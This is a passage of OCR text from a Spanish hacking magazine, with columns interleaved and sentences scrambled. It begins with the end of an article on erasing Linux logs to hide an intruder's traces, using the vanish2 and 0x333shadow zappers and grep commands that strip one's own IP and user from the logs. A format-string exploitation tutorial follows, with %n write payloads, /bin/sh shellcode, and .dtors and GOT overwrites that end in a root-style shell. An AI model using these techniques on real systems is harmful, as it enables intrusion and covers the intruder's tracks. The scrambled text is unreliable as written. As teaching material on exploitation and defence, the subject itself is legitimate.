/var/log/apache2, silo descomprimimos (tar xvfz clear- cambio hemos estado utilizándola como tenéis esta misma ruta pues adelante1.3.tar.gz) y nos creará una carpeta dump, o bouncer, y nos hemos logueado si no editarlo a mano y añadirle los 0 a las funciones exit(). Figura 7 Su sintaxis es sencilla: “./vanish2 <user> <host> <IP>”, como root. Este zapper busca en los archivos WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, warn, mail, httpd.access_log, y httpd.error_log. Ejemplo: ./vanish2 hackxcrack HxC 212.124.113.53 -> Borrará todos los logs que contengan el usuario hackxcrack, o el host HxC o la IP 212.124.113.53 El 0x333shadow es bastante más completo que los dos anteriores, lo bajamos de http://packets tormsecurity.org/UNIX/penetration/log- w i p e r s / 0 x 3 3 3 s h a d o w . t a r. g z , l o 32
  • 32. http://totalred.blogspot.com descomprimimos y lo compilamos con -m podemos especificar archivos log /var/log/apache2/access.log | grep -v gcc 0x333shadow.c -o 0x333shadow - que hayamos visto en el sistema y que NUESTRAIP >/var/log/apache2 D Linux. Es capaz de matar syslogd, y el programa no “los conozca”, o si los /access.log”, o para borrar nuestros por defecto busca en los directorios logs están en otro directorio. Podemos intentos de logueo “cat /var/log/auth.log /var/log, /var/adm, /usr/adm, /var/mail. especificar más de un archivo/directorio, | grep -v NUESTROUSER >/var/log/ El uso y sus opciones lo podéis ver separados por un espacio. auth.log”, y así con los que queramos. vosotros mismos ejecutándolo sin ningún El parámetro “-v” de grep lo que hace parámetro, pero lo voy a explicar de Ejemplos: es no mostrar las coincidencias. todas formas, por si las dudas :P ./0x333shadow -i 212.124.113.53 -m Su sintaxis es: ./0x333shadow [acción] /var/log/apache2/access.log -> Borrará -i [cadena] -l [segundos] -m [dir1/ todos los logs de la IP 212.124.113.53 archivo1] [dir2/archivo2] [...] del archivo access.log del Apache2. Bueno pues ya hemos visto lo más básico de logs en GNU/LiNUX y UniX en Acción: Pueden ser dos opciones, “-a” ./0x333shadow -b -i hackxcrack -l 30 - general, nos hemos dejado cosas como o “-b”. El primero limpia los directorios > Borrará todos los logs del usuario la rotación de logs, logcheck, pero yo por defecto que tengan la cadena que hackxcrack en los archivos de log creo que con esto y Google es suficiente, especifiquemos. El segundo lo mismo binarios cuando pasen 30 segundos. de todas formas si tenéis interés decirlo que el primero, pero este solo limpiará en el foro y se hace una ampliación... los logs binarios (utmp, wtmp, utmpx, ./0x333shadow -a -i hackxcrack -> Si os han quedado dudas, por favor wtmpx y lastlog). Borrará todo log que contenga la cadena decirlo en el foro y yo o los demás “hackxcrack”. usuarios intentaremos aclararlas, pero Cadena: Lo que queremos que borre no os quedéis con ellas ;) La url del foro en caso de que coincida esta cadena, e s : h t t p : / / w w w. h a c k x c r a c k . c o m / por ejemplo nuestra IP. phpBB2/index.php Segundos: Da la posibilidad de que Los logs de texto plano podemos Sin más, hasta otra!! empiece la limpieza de logs pasados los modificarlos a mano, o desde un segundos que especifiquemos, esto es shellscript creado por nosotros, tan solo Iván Alcaraz útil porque podemos desloguearnos y con programas típicos de unix cat o <ivanalcaraz@telefonica.net> esto hará que limpie el logout también. grep. Un ejemplo podría ser borrar los DiSTuRB Dir1/archivo1...: Gracias al parámetro logs de Apache, podríamos hacer: “cat PON AQUÍ TU PUBLICIDAD Contacta DIRECTAMENTE con nuestro coordinador de publicidad INFÓRMATE ¡sin compromiso! 610 52 91 71 precios desde 99 euros 33
  • 33. http://totalred.blogspot.com Ya estoy aquí de nuevo ;-). Después de aprender en los dos artículos anteriores cómo explotar un buffer overflow, tanto en la pila como en el Heap (memoria dinámica), hoy vamos a analizar un tipo de vulnerabilidad diferente. Se trata de un fallo de programación descubierto recientemente (comparado con los desbordamientos de buffer), relativo al uso de las llamadas cadenas de formato o format strings en inglés. Durante el artículo veremos cómo se usan las cadenas de formato, qué funciones hacen uso de ellas, y cómo no debemos usarlas para evitar dichas vulnerabilidades en nuestros programas. Además, aprenderemos a explotar dichos errores de programación, tratando de conseguir ejecutar código arbitrario en nuestras aplicaciones ;-). Vamos al grano. En este código puedes ver dos cadenas de formato. La del primer printf no es realmente una cadena de formato,Las cadenas de formato son unas cadenas de carac-teres pues en realidad es una cadena normal, sin código deutilizadas por ciertas funciones, llamadas funciones de formato alguno. Únicamente lleva un carácter especial,formato, para especificar el formato de su salida por n, que sirve para especificar un salto de línea. Sinpantalla. Así, tenemos la familia de funciones de printf, embargo, la segunda llamada a printf sí que contiene unaentre las cuales encontramos las funciones printf, sprintf, cadena de formato propiamente dicha. Vamos a ver enfprintf, que utilizan uno de sus argumentos como cadena detalle lo que contiene dicha cadena.de formato, para especificar el formato en el que seescribirá la salida por pantalla, en otra cadena, o en un En primer lugar, identificamos los llamados especificadoresarchivo respectivamente. de conversión (al menos así son llamados en la página del manual de la función printf en mi sistema). Éstos sonAsí pues, veamos un ejemplo para ver qué pinta tiene los bloques de caracteres compuestos por el signo %,una cadena de formato:(ver listado 1). seguido de una o varias letras que identifican el tipo de variable a escribir por pantalla (en el caso de printf). Cada uno de estos especificadores va asociado a una de las variables que se pasan como parámetro justo después de la cadena de formato. Así, el %d va asociado a la variable i, el %f a la variable f, %c a la variable a, y %s a la variable cad. De esta forma, cuando printf se ejecute, sustituirá el valor de dichos especificadores por el valor de las variables correspondientes, según el código de formato especificado. En la tabla 1 puedes ver los códigos de formato másListado 1 34
  • 34. http://totalred.blogspot.com de formato. Por tanto, si queremos mostrar el entero que se ha pasado como tercer parámetro (la variable c en este caso), pondremos %3$d en la cadena de formato. Ahora sí, pasemos a ver cuál es el problema de las cadenas de formato si las utilizamos mal ;-). Tabla 1 tuxed@athenea:~/Artículos HxC/art3$ gcc ejemplo1.c -o ejemplo1 tuxed@athenea:~/Articulos HxC/art3$ ./ejemplo1 Pues bien, el problema con las cadenas Soy una cadena de formato :-P i= 10 f=2.560000 a=X cad="Hola!" de formato es muy simple. Cuando Lalalala probando el identificador %n usamos una función como printf para Escritos= 38 imprimir una cadena alojada en una tuxed@athenea:~/Articulos HxC/art3$ variable determinada, según lo visto anteriormente, lo que debemos hacer Listado 2 es lo siguiente: m í n i m o d e l c a m p o. Po r e j e m p l o, podemos poner %8x para especificar printf(“%s”, la_cadena); que como mínimo se van a imprimir por pantalla 8 caracteres. Ojo porque este Sin embargo, puesto que la función Listado 3 valor es mínimo, y si ponemos un valor printf imprime también la cadena de de caracteres menor que el real, se formato (sustituyendo los conversores usuales, su significado, y el tipo de imprimirá el real, y no el mínimo. especificados por variables), alguien variable que esperan. En el campo Tipo puede pensar que podríamos omitir el de Variable, se especifica el modo en Sabiendo todas estas cosas, ya sabemos primer parámetro (la cadena de formato que se pasa el argumento. Cuando perfectamente qué es lo que nos van a en sí), y llamar a printf con un único pasamos una variable a una función, su devolver las llamadas a printf del argumento (en este caso, nuestra valor se copia en la pila, por lo que se ejemplo anterior. Vamos a compilar y variable la_cadena). Suena bastante llama paso de parámetros por valor. Si ejecutar para comprobar que pasa lo lógico, y funciona. Sin embargo, si la lo que pasamos es un puntero a una que todos creemos que pasa ;-) :(ver variable la_cadena es proporcionada variable, lo que se guarda en la pila es listado 2) por el usuario, nadie le impide poner una dirección de memoria, y esto se códigos de formato en ella, verdad? llama paso de parámetros por referencia. Parece que sí, verdad? :-). Bien, creo Pues con esta cosa tan simple, ya Por tanto, en dicho campo se ha diferen- que ahora todos sabemos cómo podemos hacer que el programa falle y ciado entre valor y referencia, respecti- funcionan las cadenas de formato, así se cierre, o incluso como veremos más vamente. Por otra parte, cuando digo que ya podemos ponernos a investigar adelante, podremos ejecutar código Imprime por pantalla en la tabla, es por debajo de ellas. Sin embargo, antes arbitrario :-P. porque me baso en la función printf, pero de ello os voy a explicar un detallito otras funciones imprimen en una cadena, más, que puede que nos sea útil más Antes de ponernos a ver realmente cómo un archivo, u otros sitios (Tabla 1). adelante. Dicho detalle no es más que hacerlo, probemos a crear un programita podemos acceder directamente a un simple con un fallo de este tipo, y a Conviene notar el identificador especial parámetro determinado de la función pasarle la cadena de formato que %n. Dicho identificador, como la tabla de formato, mediante una simple queramos. Simplemente tomaremos el indica, no imprime nada por pantalla, modificación en la cadena de formato. primer argumento del programa y lo sino que escribe en la dirección de memo- Es lo que se llama Direct Parameter pasaremos a printf directamente, sin ria pasada como argumento el número Access, y se utiliza así: hacer nada más. El código será éste: de caracteres que se ha mostrado hasta (ver listado 3) el momento. Este identificador es impor- printf(“%3$d”,a,b,c); tante para nosotros, pues como veremos Compilamos y ejecutamos un par de más adelante, nos va a permitir escribir D e e s t a m a n e ra , s i t e n e m o s u n veces con distintos especificadores de en memoria lo que deseemos :-). identificador de formato, por ejemplo formato, a ver qué pasa:(listado 4) %d, pondremos %X$d, siendo X el Además de esto, el conversor puede número de parámetro que queremos Como se puede apreciar, al especificar especificar otras cosas, como el ancho que sea utilizado por dicho conversor algún conversor de formato, printf lee 35
  • 35. http://totalred.blogspot.com que la variable shell, localizada en tuxed@zeus:/tmp$ gcc ejemplo2.c -o ejemplo2 0xbfffb6b, contiene la cadena /bin/bash. tuxed@zeus:/tmp$ ./ejemplo2 "int: %d " El programa environm es el código env.c int: -1073743042 tuxed@zeus:/tmp$ ./ejemplo2 "float: %f" utilizado en los artículos anteriores, float: 0.000000tuxed@zeus:/tmp$ ./ejemplo2 "hexa: %x " compilado y guardado como environm, hexa: bffffb3d tuxed@zeus:/tmp$ puesto que tiene los mismos caracteresListado 4 que el nombre del programa vulnerable (para no tener que sumar ni restar nada tuxed@zeus:/tmp$ ./ejemplo2 "AAAA: %x.%x.%x.%x.%x " a la dirección devuelta :-P ). En el foro AAAA: bffffb31.4.0.41414141.7825203a tuxed@zeus:/tmp$ puedes encontrar tanto éste como todos Listado 5 los demás códigos que utilizo en mis tuxed@zeus:/tmp$ ./environm SHELL artículos ;-). La variable SHELL está en la dirección 0xbffffb6b tuxed@zeus:/tmp$ ./ejemplo2 "`printf "x6bxfbxffxbf"`. %4$s " Además debes tener en cuenta que para kûÿ¿. /bin/bash tuxed@zeus:/tmp$ poner la dirección de memoria, he usado el comando printf de la shell bash, y la Listado 6 sustitución de caracteres de bash.un valor de la memoria, y lo imprime Como algunos ya sabéis, el número También podía haber usado perl, tal yen el lugar adecuado de la cadena de 0x41 (el 65 en decimal) es el código como hicimos en los artículos anteriores.formato. Pero, ¿de dónde salen esos ASCII de la letra A, así que lo que ha Bien, ahora ya sabemos leer cualquiervalores? Si has leído el primero de mis salido como cuarto parámetro es el valor c a d e n a q u e h aya a l m a c e n a d a e nartículos, pensando un poco lo podrás AAAA, que son los cuatro primeros bytes memoria, pero... ¿qué más nos puedeadivinar. Si no lo has leído, ahora mismo de nuestra cadena de formato. Justo interesar? Si recuerdas el artículote explico un poco el tema ;-). después, viene el código ASCII de los a n t e r i o r, c u a n d o h a b l a m o s d e cuatro caracteres siguientes: desbordamientos en el Heap, vimos que 0x7825203a . Si buscas en cualquier éstos no posibilitaban escribir cualquierCuando llamamos a una función, los tabla ASCII (como la de www.ascii cosa en una dirección de memoria aparámetros de ésta se guardan en lapila del sistema. Así, cuando la función table.com ) podrás ver que el carácter nuestra elección. Vimos entonces quenecesita acceder a algún parámetro, : tiene el código 0x3a, el espacio es el esto nos podía servir para lograr ejecutaraccede a la pila y recoge su valor. Así 0x20, y así sucesivamente (ten en código en el proceso víctima, pudiendopues, cuando en una cadena de formato cuenta que la memoria es little-endian, así conseguir ejecutar una shell con losespecificamos un conversor de formato, con lo que los bytes de menor peso se privilegios de dicho proceso.pero no hay un parámetro asociado, lo guardan primero, y por eso en cadaque estamos haciendo es leer directa- valor mostrado los bytes están Pues bien, con las cadenas de formatomente de la pila. De esta forma, pode- invertidos). podemos conseguir exactamente lomos leer la pila del programa vulnerable, mismo, o incluso más ;-). Vamos a verhaciendo algo así:(listado 5) Así pues, si pusiéramos un %s en el en la siguiente sección cómo escribir en cuarto parámetro en lugar de un %x, el memoria. programa trataría de leer en la direcciónComo ves, hemos leído 5 números de 0x41414141, puesto que %s lee de la32 bits en hexadecimal, gracias al dirección de memoria especificada comoparámetro %x. Si quisiéramos haber parámetro. Por tanto, si al principio deleído más datos, habríamos puesto más la cadena de formato ponemos unaveces el conversor %x, y obtendríamos dirección de memoria, y luego pasamos Esto se pone interesante :-). Queremoslos datos de la pila. Sin embargo, no el especificador de formato %4$s, escribir algo en memoria mediante unasólo existe la pila en un proceso, y en leeremos lo que haya en esa posición cadena de formato y una llamada aotras secciones de la memoria puede (nos lo mostrará como una cadena). printf, ¿se te ocurre algo? Te propongohaber datos realmente interesantes, así Probemos a localizar una variable de que retrocedas un poco y mires otraque algo habrá que inventar para leer entorno cualquiera, por ejemplo la vez en la tabla que puse con los distintosmemoria de cualquier lugar. variable SHELL, y leerla mediante la especificadores de formato, a ver si cadena de formato:(listado 6) alguno te da una pista de cómo podemos escribir datos en memoria ;-). En la salida anterior debéis tener en cuenta que el símbolo $ es interpretado Bien, ahora que ya has leído de nuevo por la shell bash como el inicio del la tabla, habrás visto que el únicoSi te fijas en el listado 5, verás que en nombre de una variable, y por ello lo identificador que permite escribir enla respuesta, el cuarto %x se ha hemos tenido que escapar con el memoria es el %n, verdad? Como lasustituido por el valor 0x41414141. carácter .En ésta se puede observar tabla muestra, dicho identificador escribe 36
  • 36. http://totalred.blogspot.com en la dirección de memoria recibida el valor 0xfffffffc (-4 codificado en campo ( padding o relleno), como he como parámetro, la cantidad de datos complemento a dos). Pues bien, explicado al principio. Así, si queremos que se han sacado por pantalla hasta tratemos de modificar el valor de dicha escribir un 0x0C (valor 12 en decimal), el momento. Entonces, si queremos variable. Como he dicho, tenemos que debemos poner un relleno de 8 escribir un número determinado en una pasar la dirección de la variable, y luego caracteres, con lo que pondríamos lo dirección de memoria determinada, sólo el especificador %n aplicado al cuarto siguiente:(listado 10) tenemos que escribir dicha dirección de parámetro (esto es, la propia cadena Como puedes observar, el efecto ha memoria, escribir tantos caracteres de formato):(listado 9) sido el deseado. Así pues, ya sabemos como sean necesarios para llegar a dicho escribir el byte que deseemos, número, y utilizar el operador %n sobre Como ves, el valor de la variable i se solamente utilizando un padding el principio de nuestra cadena de ha modificado por 4. En realidad, el determinado en el identificador %x de formato. valor que ha tomado es 0x00000004, nuestra cadena de formato. que es la codificación del número entero No sé si me he explicado bien, pero creo 4, y éste es a su vez el número de Ahora veamos qué pasa si queremos que con un ejemplo os quedará claro. caracteres que hay antes del %4$n. e s c r i b i r, p o r e j e m p l o , e l v a l o r Para ver esto, vamos a usar una versión Pero, cómo hacemos para escribir el 0xDDCCBBAA en la variable i. Teniendo modificada del ejemplo anterior, en la valor que nosotros queramos? Pues en cuenta el hecho de que los datos se que hemos agregado una variable con vamos a hacerlo mediante cuatro codifican en little-endian en la un valor determinado, y la mostraremos escrituras sucesivas en memoria, arquitectura Intel x86, tendremos que por pantalla. Así podremos comprobar escribiendo en cada una de ellas un byte poner el byte menos significativo en la en tiempo real qué es lo que estamos arbitrario. primera posición de memoria, después sobrescribiendo.(listado 7) el segundo menos significativo, y así Sin embargo, de momento solo sabemos sucesivamente. Bien, sobre este código, vamos a escribir un 0x04 en la dirección que intentar modificar la variable i. Para queramos. Cómo escribimos otro byte? Además, como estamos escribiendo un ello, primero ejecutaremos el programa Pues es bastante más fácil de lo que entero del cual solo se utiliza un byte, con una línea cualquiera como pueda parecer. Solo tenemos que escribir habrá tres bytes nulos en las posiciones parámetro, para ver la dirección de tantos caracteres antes de realizar la de memoria contiguas a las que nos i:(listado 8) escritura como el número que queremos interesan, quedando las escrituras en escribir menos cuatro. memoria como indica la imagen 1. En Como puedes observar, la variable i ella puedes ver el estado de la memoria está en la dirección 0x0849560 (he Pero imagina que quieres escribir el después de las sucesivas escrituras en agregado el 0 delante porque no tenía va l o r 0 x F F, d e b e r í a s p o n e r 0 x F B memoria. Los signos XX indican un los 8 caracteres que tocaban) y tiene caracteres entre la dirección de memoria estado desconocido de la memoria. y el código %4$n, y esto sería un poco cansino repetirlo 4 veces, no? Pues bien, tenemos una solución muy simple ;-). Se trata de poner un código de formato que especifique un ancho mínimo del Listado 7 tuxed@zeus:/tmp$ gcc ejemplo3.c -o ejemplo3 tuxed@zeus:/tmp$ ./ejemplo3 lalala lalala Imagen 1 i en 0x8049560 : fffffffc Bien, puesto que queremos realizar tuxed@zeus:/tmp$ cuatro escrituras en memoria, debemos Listado 8 proporcionar cuatro direcciones de tuxed@zeus:/tmp$ ./ejemplo3 "`printf "x60x95x04x08"`%4$n"` memoria correlativas. Como la variable # i está en 0x08049560, tendremos que i en 0x8049560 : 4 poner desde ésta a la dirección tuxed@zeus:/tmp$ 0x08049563. Así pues, las direcciones Listado 9 de memoria escribirán 16 bytes (0x10 en hexadecimal). Para escribir el primer tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x60x95x04x08"`%8x%4$n"` byte (0xAA) deberemos escribir en bffffb2f memoria 0xAA – 0x10 = 0x9A (154 i en 0x8049560 : c tuxed@zeus:~/art3$ decimal). Así pues, debemos poner un relleno de 154 y luego un %4$n. Listado 10 37
  • 37. http://totalred.blogspot.com ¿Qué pasará si en lugar de poner 0xAA tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x60x95x04x08x61x95x04x08x62x95 x04x08x63x95x04x08"`%154x%4$n%17x%5$n%17x%6$n% 17x%7$n" cogemos y ponemos 0x1AA ? `ab c bffffb09 4 0 8049560 Evidentemente, el byte que a nosotros i en 0x8049560 : ddccbbaa nos interesa, que es el de menos peso, tuxed@zeus:~/art3$ sigue siendo el mismo, y conseguiremos un valor superior a, por ejemplo, 0xBB. Listado 11 Con esto, aumentando el valor del byte tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x60x95x04x08x61x95x04x08x62x95 de la izquierda en uno sucesivamente, x04x08x63x95x04x08"`%205x%4$n%239x%5$n%239x%6$n% 239x%7$n" vamos a conseguir escribir valores ` ab c bffffb06 40 8049560 mayores al que acabamos de escribir, i en 0x8049560 : aabbccdd pudiendo así realizar cualquier escritura tuxed@zeus:~/art3$ en memoria :-). Esta vez el estado deListado 12 la memoria será un poco diferente, como static void inicio(void) __attribute__ ((constructor)); puedes ver en la Imagen 2. static void final(void) __attribute__ ((destructor)); Vamos pues a ver cómo podemosListado 13 escribir el valor 0xAABBCCDD en la tuxed@zeus:~/art3$ objdump -h ejemplo3 variable i. Debemos tener en cuenta ejemplo3: formato del fichero elf32-i386 que esta vez lo primero a escribir es Secciones: DD, luego el primer relleno es 0xDD – Ind Nombre Tamaño VMA LMA Desp fich Alin 0x10 = 0xCD (205 decimal). Para los [...] siguientes, otra vez tenemos la misma distancia de unos a otros: 0x1CC – 0xDD 17 .ctors 00000008 08049630 08049630 00000630 2**2 = 0x2BB – 0x1CC = 0x3AA – 0x2BB = CONTENTS, ALLOC, LOAD, DATA 0xEF ( 239 decimal) , con lo que ya po- 18 .dtors 00000008 08049638 08049638 00000638 2**2 demos realizar la escritura:(listado 12) CONTENTS, ALLOC, LOAD, DATA 19 .jcr 00000004 08049640 08049640 00000640 2**2 CONTENTS, ALLOC, LOAD, DATA Una vez más, obtenemos el resultado 20 .got 0000001c 08049644 08049644 00000644 2**2 deseado :-). Ahora ya somos capaces, mediante un error en el uso de las CONTENTS, ALLOC, LOAD, DATA cadenas de formato de un determinado [...] programa, de escribir un valor arbitrario tuxed@zeus:~/art3$ de 32 bits (más 3 bytes nulos que noListado 14 tendremos en cuenta :-P ) en cualquier iguales, los siguientes (0xCC y 0xDD) lugar del espacio direccional (la se calculan exactamente igual, y el memoria) de ese proceso. Así pues, qué resultado es el siguiente:(listado 11) podemos hacer? Los que leísteis mi anterior artículo en esta misma revista, El resultado es, efectivamente, el de- ya tendréis una idea de dónde atacar, seado :-). Ahora bien, como has visto, pero como seguro que alguien no lo ha hemos tenido la suerte (porque lo he leído, voy a volver a mostrar cómo modificar la GOT (Global Offset Table) preparado así :-P ) de que cada valor a para redirigir el flujo de nuestro Imagen 2 e s c r i b i r e r a m a y o r q u e e l va l o r programa. Pero tranquilo, que si ya inmediatamente posterior, con lo que sabes hacerlo, todavía tienes algo nuevo la diferencia era positiva, y aumentando en este artículo: modificación de laPara poder escribir los siguientes el relleno dicha diferencia, conseguimos sección .dtors del ejecutable ;-).valores, habrá que poner un relleno de escribir lo que deseamos. Pero, ¿y si(valor siguiente) – (valor actual). En esto no ocurre, y un valor es inferior aleste caso, 0xBB – 0xAA = 0x11 (17 inmediatamente anterior? Pues nodecimal). Después pondremos el podríamos hacerlo, puesto que noidentificador de formato que realizará podemos poner desplazamientosla escritura en memoria, %5$n en este He decidido explicar primero esta sección negativos... ¿O sí podríamos escribirlo?caso, pues queremos coger la segunda y dejar para el final del artículo el tema Pues sí, pero no del mismo modo. Paradirección de memoria proporcionada en de la modificación de la GOT para quela cadena de formato. realizar la escritura en este caso, los que leísteis el artículo anterior no tendremos que valernos de un pequeño os durmáis :-P. Así, podéis seguirPara no aburriros con más cálculos truco: leyendo el artículo y luego si a alguien 38
  • 38. http://totalred.blogspot.com le interesa recordar lo de la GOT, pues tuxed@zeus:~/art3$ objdump -s ejemplo3 -j .dtors ahí lo tiene. ejemplo3: formato del fichero elf32-i386 Contenido de la sección .dtors: Bien, cuando compilamos con gcc, al 8049638 ffffffff 00000000 ........ crear un ejecutable en formato ELF (Executable and Linkng Format) se Listado 15 añaden un par de secciones llamadas char scode[]="x31xc0x50x68x2f x2f x73x68x68x2f x62x69x6ex89 .ctors y .dtors al archivo resultante. En xe3x50x54x53x50x8cxe0” “x21xc0x74x04xb0x3bxebx07xb0x0bx99x52 la primera de ellas, se almacenan las x53x89xe1xcdx80"; direcciones de las funciones definidas Listado 16 con el atributo constructor, mientras que en la segunda las de las funciones tuxed@zeus:~/art3$ printf "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6e definidas con el atributo destructor. x89xe3x50x54 x53x50x8cxe0x21xc0x74x04xb0x3bxebx07xb0x0bx99 x52x53x89xe1xcdx80">scode Las funciones definidas como constru- tuxed@zeus:~/art3$ export SCODE=`cat scode`; tuxed@zeus:~/art3$ gcc env.c -o environm ctores, son ejecutadas justo antes del env.c: En la función `main: main(), mientras que las funciones env.c:6: aviso: asignación se crea un puntero desde un entero sin una conversión definidas como destructores, se ejecutan tuxed@zeus:~/art3$ ./environm SCODE justo antes de la salida del programa. La variable SCODE está en la dirección 0xbffffb13 Para definir un constructor o un destruc- tuxed@zeus:~/art3$ tor, deberemos hacerlo así: (listado 13) Listado 17 Así estaríamos declarando la función almacenarla y localizarla en memoria. inicio como constructor, y la función sección .dtors del ejemplo3, y veremos Aquí os muestro la propia shellcode en final como destructor. Bien, pero... qué su formato ;-) : (listado 15) el formato de array de carac- pintan los constructores y destructores teres:(listado 16) Como puedes observar, la sección .dtors en todo esto? Vamos a echar un ojo al del programa ejemplo3, mapeada en Y en los siguientes comandos, la creación programa compilado antes (código memoria en la dirección 0x08049638, del archivo scode con ella, la creación ejemplo3.c) mediante la aplicación empieza con un 0xFFFFFFFF y acaba de una variable de entorno donde objdump a ver si encontramos la sección con un 0x00000000. Esto es así porque alojarla, y la localización de ésta .dtors y .ctors:(listado 14) esta vez no tenemos ningún destructor. mediante el programa env.c que podéis En la salida anterior (recortada) encontrar junto con los demás paquetes Sin embargo, si tuviésemos podemos observar que las secciones en el siguiente post del foro: destructores, sus direcciones aparecerían http://www.hackxcrack.com/phpBB2/ llamadas .ctors, .dtors y .got son correlativamente entre 0xFFFFFFFF y viewtopic.php?p=177492 ;-). Ten en secciones en las que se puede escribir 0x00000000. Así pues, cuando vaya a cuenta que he compilado con el nombre (de lo contrario estarían marcadas con salir nuestro programa, lo que hará será environm (misma longitud que el atributo READONLY. Además, sabemos irse a la sección .dtors, y empezar a ejemplo3) debido a la variación de la que las direcciones de los destructores hacer llamadas a las direcciones que se posición de las variables de entorno con están en .dtors, y que además éstos encuentran justo detrás del 0xFFFFFFFF el nombre del programa. Si quieres más son llamados SIEMPRE al finalizar el (dirección de .dtors + 4) hasta llegar al detalles sobre esta variación, puedes programa. 0x00000000. Por tanto, si nosotros leerlos en el artículo publicado en el modificamos el 0x00000000 con la número 27 sobre desbordamientos de Sin embargo, nosotros no hemos creado dirección de nuestro código máquina buffer en la pila. Aquí van los ningún destructor en el ejemplo3.c, pero (shellcode), tendremos como resultado comandos:(listado 17) ahí aparece la sección (aunque como la ejecución de dicho código justo antes luego veremos está vacía). Así pues, de que el programa atacado termine ;-) Bien, una vez localizada, ya sabemos podemos concluir que estas secciones qué hay que escribir y dónde hay que aparecen en cualquier binario ELF Así pues, vamos a probar a hacerlo. hacerlo. Así pues, solo nos queda llevarlo compilado con gcc, aunque el Como hemos visto en la salida del a la práctica ;-) Vamos a realizar los programador no haya puesto ningún comando objdump, tenemos la sección cálculos por anticipado: constructor/destructor. .dtors en la dirección 0x08049638, así que tendremos que escribir en 1ª escritura: Dirección 0x0804963c, Bien, ¿y qué es lo que incluye dicha 0x0804963c la dirección de nuestra relleno 0x13 – 0x10 = 0x03 (15 decimal) sección? O mejor dicho, ¿Cómo se shellcode. incluyen las direcciones de las funciones 2ª escritura: Dirección 0x0804963d, en dicha sección? ¿Qué formato se Una vez más, voy a usar la misma relleno 0xFB – 0x13 = 0xE8 ( 232 sigue? Vamos a echarle un ojo a la shellcode, y el mismo método para decimal) 39
  • 39. http://totalred.blogspot.com curityfocus.com/archive/1 y realizar una tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x3cx96x04x08x3dx96x04x08x3ex96 búsqueda por “format strings”, a ver x04x08x3fx96x04x08"`%3x%4$n%232x%5$n%4x%6$n% 192x%7$n" qué encontráis ;-) ). En dicho caso, tu <=>?bffffadc 4 0 804963c red podría haber sido totalmente i en 0x8049560 : fffffffc comprometida, por un fallo tan tonto Violación de segmento tuxed@zeus:~/art3$ como no usar adecuadamente las cadenas de formato. Listado 18 tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x3cx96x04x08x3dx96x04x08x3ex96 Ahora que ya hemos hablado de los x04x08x3fx96x04x08"`%3c%4$n%232x%5$n%4x%6$n% 192x%7$n" destructores, vamos a repasar en la <=>? Ü 40 804963c siguiente sección cómo conseguir la i en 0x8049560 : fffffffc ejecución de nuestra shellcode mediante sh-3.00$ la modificación de la GOT. Listado 19 tuxed@zeus:~/art3$ objdump -R ejemplo3 ejemplo3: formato del fichero elf32-i386 DYNAMIC RELOCATION RECORDS Bien, esta sección es más bien de repaso OFFSET TYPE VALUE del número anterior, pues si lo has leído 0804965c R_386_GLOB_DAT __gmon_start__ ya sabrás qué es la GOT y como 08049650 R_386_JUMP_SLOT __libc_start_main aprovecharse de ella para conseguir la 08049654 R_386_JUMP_SLOT printf 08049658 R_386_JUMP_SLOT strcpy ejecución de la shellcode. Sin embargo, como ya he explicado antes, voy a volver tuxed@zeus:~/art3$ a mencionarlo por si alguien se perdió el artículo anterior, pero realizando las Listado 20 modificaciones con cadenas de formato tuxed@zeus:~/art3$ ./ejemplo3 "`printf "x54x96x04x08x55x96x04x08x56x96 esta vez. x04x08x57x96x04x08"`%3c%4$n%232x%5$n%4x%6$n% 192x%7$n" Bueno, y qué es la GOT? La GOT es una sh-3.00$ sección de los ejecutables ELF que contiene las direcciones de las funciones Listado 21 de otras librerías ejecutadas por nuestro programa. Esta sección, como habrás3ª escritura: Dirección 0x0804963e, es importante. Si miramos en la salida podido notar en la salida del comandorelleno 0xFF – 0xFB = 0x04 ( 4 decimal) anterior, vemos que lo que ha escrito objdump -h ejemplo3 realizada en el4ª escritura: Dirección 0x0804963f, dicho campo es el valor bffffadc, que si apartado anterior del artículo, no estárelleno 0x1BF – 0xFF = 0xC0 (192 contamos son 8 caracteres, con lo que marcada como READONLY, y por tantodecimal) nos ha desmontado la fiesta... Así pues, nada nos impide modificarla. qué hacemos? Pues vamos a cambiarAhora, con estos cálculos en mano, solo el %3x por algo que escriba los 3 Así pues, ¿cómo vemos el contenido denos falta armar la cadena de formato. caracteres que queremos. Por ejemplo, la sección GOT? Pues una vez más, conEspero que tanto los cálculos de arriba % 3c escribirá 3 caracteres, pues leerá ayuda de la utilidad obdjump. Ejecu-como la cadena sea perfectamente uno solo ( %c ), y lo rellenará con tando la orden objdump -R nues-comprendida. Si no es así, vuelve a leer espacios. Así, si todo va bien, tendremos tro_ejecutable veremos todas las funcio-el apartado en el que se habla del nuestra shell :-) :(listado 19) nes de la GOT de nuestro ejecutable.m é t o d o p a ra e s c r i b i r va l o r e s e n Veámoslo con ejemplo3: (listado 20)memoria, y si aún así no lo entiendes, Yuuhuuu!! Ya hemos logrado ejecutar nuestra shellcode con los privilegios del Bien, aquí vemos que este programapásate por el foro y te lo intentaremos proceso ejemplo3. En este caso ha sido solamente utiliza cuatro funciones, dosexplicar de otro modo :-). ejemplo3, pero imagina que hubiese de ellas utilizadas para iniciar el sido una aplicación importante en tu programa, y las dos de las librerías queBueno, pasemos a la ejecución de sistema/red, como por ejemplo un hemos puesto nosotros en el código:nuestro plan:(ver listado 18) servidor de mail, o un determinado strcpy() y printf(). Vemos a la izquierda proxy que uses (en bugtraq últimamente la dirección de memoria donde seWo w ! ! ¿ ¿ ¿ Y e s o ? ? ? o _ 0 ! ! Va l e , ha habido noticias sobre varias vulnera- almacena la dirección de las funciones.tranquilidad, pensemos un poquito ;-). bilidades de cadenas de formato, en En el caso de printf, vemos que suComo se ha explicado al introducir el programas como hashcash o snmppd dirección se encuentra en 0x08049654,campo de padding de los modificadores para linux, o cierto servidor de mail así que ya sabemos qué dirección vamosde formato, este especifica únicamente para windows. Para los interesados, a sobrescribir, y con qué, pues yael ancho mínimo de un campo, y esto podéis mirar en http://www.se tenemos la shellcode en memoria :-). 40
